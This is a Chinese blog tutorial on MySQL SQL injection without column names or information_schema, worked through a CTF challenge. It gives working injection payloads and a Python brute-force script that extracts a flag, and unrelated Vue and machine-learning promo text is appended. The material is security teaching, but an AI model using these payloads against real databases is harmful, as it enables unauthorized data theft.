深入浅出带你学习无列名注入

前言

大家对于SQL注入一定不陌生,我们常用的SQL注入方法是通过information_schema这个默认数据库来实现,可是你有没有想过,如果过滤了该数据库那么我们如何进行SQL语句的查询呢,本文就带给大家如何通过不使用information_schema来进行SQL注入,下面我们展开来讲。

基础知识

首先我们先了解一下什么版本可以使用无列名注入:

MySQL < 5版本,或者在 MySQL >= 5 的版本[存在information_schema库]

我们先看查询表名,因为information_schema被过滤了,所以我们需要找到代替该函数的,这里有以下两个方法来进行查询:

sys数据库

MYSQL在5.7以上版本新增的数据库,基础数据来自information_schema和performance_chema,但是值得注意的是SYS数据库本身不储存任何数据。我们可以通过其中的schema_auto_increment_columns来获取表名。

InnoDb引擎

在MYSQL5.5.8及以上版本,InnoDB成为其默认存储引擎。同时MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats表,里面存储了数据库和其数据表的信息,需要注意的是这两个表里没有存储列名。

通过以上方法我们可以获取数据库名和表名,但是我们不知道列明,接下来就进入无列名注入的环节。

JOIN

首先来讲利用JOIN去进行无列名注入,通过JOIN建立两个表之间的内连接,也就是说将两张表的列名给加起来,可能会爆出相同的列明的名字,我们利用的就是这个特性来爆出列明。下面给大家进行演示:

当我们通过查询获取到表名之后,使用下面的PAYLOAD获取列名:

?id=-1' union all select * from (select * from users as a join users as b)as c--+ 

简单分析一下AS的作用是取别名,把users表当做a,join起连接作用,下面看看执行效果:

可以看到获取到了第一列数据id,之后我们使用using来声明内连接,比如我要查第二列的数据:

?id=-1' union all select*from (select * from users as a join users b using(id))c--+ 

此时就会给我们回显第二列的数据,剩下的以此类推。

union select

平常我们查询语句大致为一下类型:

mysql> select * from xino; 

但是当我们知道表中有几个列时,可以进行下面的查询:

select 1,2,3, union select * from xino; 

此时你会发现新建了一个虚拟表,里面存储了xino表里的所有数据:

我们可以通过查询数字来查询数据:

select `3` from (select 1,2,3 union select * from xino)a; 

可以看到成功查询。

例题

了解完以上内容后我们来看一下例题去巩固一下:打开题目查看源码:

需要我们POST一个id的参数,考虑是SQL注入,fuzz了一下后发现过滤了in,也就是说不能用平常的SQL注入来查表了,我们考虑使用:

sys.schema_table_statistics_with_buffer 

来查询表名,因为涉及盲注,查询错误返回给我们NULL,构造poc:

0^(ascii(substr((select group_concat(table_name) from sys.x$schema_table_statistics_with_buffer where table_schema = database()),1,1))>32) 

可以写一个脚本来查,最后得到表名为:

f1ag_1s_h3r3_hhhhh 

因为union被过滤了,我们尝试别的无列名注入方法,这里采用加括号逐位比较大小的方法,具体可以看下面的poc:

1&&((select 1,"f")>(select * from flag_is_here)) 

通过逐个比较来进行判断,不过需要我们来写一个脚本这里就贴一下重点代码吧:

 while letf < right:s = flagmid = (letf+right) // 2s = s + chr(mid)payload = f"0^((select * from f1ag_1s_h3r3_hhhhh)>(select 1,'{s}'))"data = {"id":payload}res = requests.post(url=url,data=data).text 

最后可以跑出flag。

结语

今天给大家带来了无列名注入的知识点不知道大家学会了没有,简单来说无列名注入还是挺考察思维的需要我们构造查询的payload并写出脚本,有兴趣的小伙伴不妨自己去试一下,喜欢本文希望可以一键三连支持一下。

最后

最近找到一个VUE的文档,它将VUE的各个知识点进行了总结,整理成了《Vue 开发必须知道的36个技巧》。内容比较详实,对各个知识点的讲解也十分到位。



有需要的小伙伴,可以点击下方卡片领取,无偿分享

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
深入浅出Python机器学习》是一本介绍Python机器学习的入门级书籍。本书适合初学者,通过简洁明了的语言和实用的示例来引导读者学习机器学习的基本原理和Python编程技巧。 这本书首先介绍了机器学习的基本概念和应用场景。作者通过举例解释了监督学习、无监督学习和半监督学习等机器学习方法的基本原理和应用领域。读者可以通过这些例子了解到机器学习在图像识别、文本分类、推荐系统等领域的应用。 接下来,本书详细介绍了Python机器学习框架的使用。作者详细介绍了NumPy、Pandas和Scikit-learn等常用的Python机器学习库的基本功能和用法,读者可以通过这些库来实现和优化自己的机器学习算法。 在学习机器学习算法的过程中,本书给出了大量的机器学习算法实例。作者通过手把手地讲解,实战展示了线性回归、决策树、支持向量机等常见的机器学习算法的原理和应用。读者可以通过这些实例学习到如何选择并应用不同的机器学习算法解决实际问题。 此外,本书还介绍了交叉验证、特征选择和模型评估等机器学习相关的技术和方法。这些内容为读者提供了更全面的机器学习知识体系,帮助读者更好地理解和应用机器学习算法。 总的来说,《深入浅出Python机器学习》是一本结合理论与实践的实用教材,对于想要了解机器学习并使用Python实现算法的读者来说是一本很好的参考书籍。它将机器学习的基本原理和Python编程技巧有机地结合在一起,帮助读者快速入门并能够应用机器学习算法解决实际问题。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值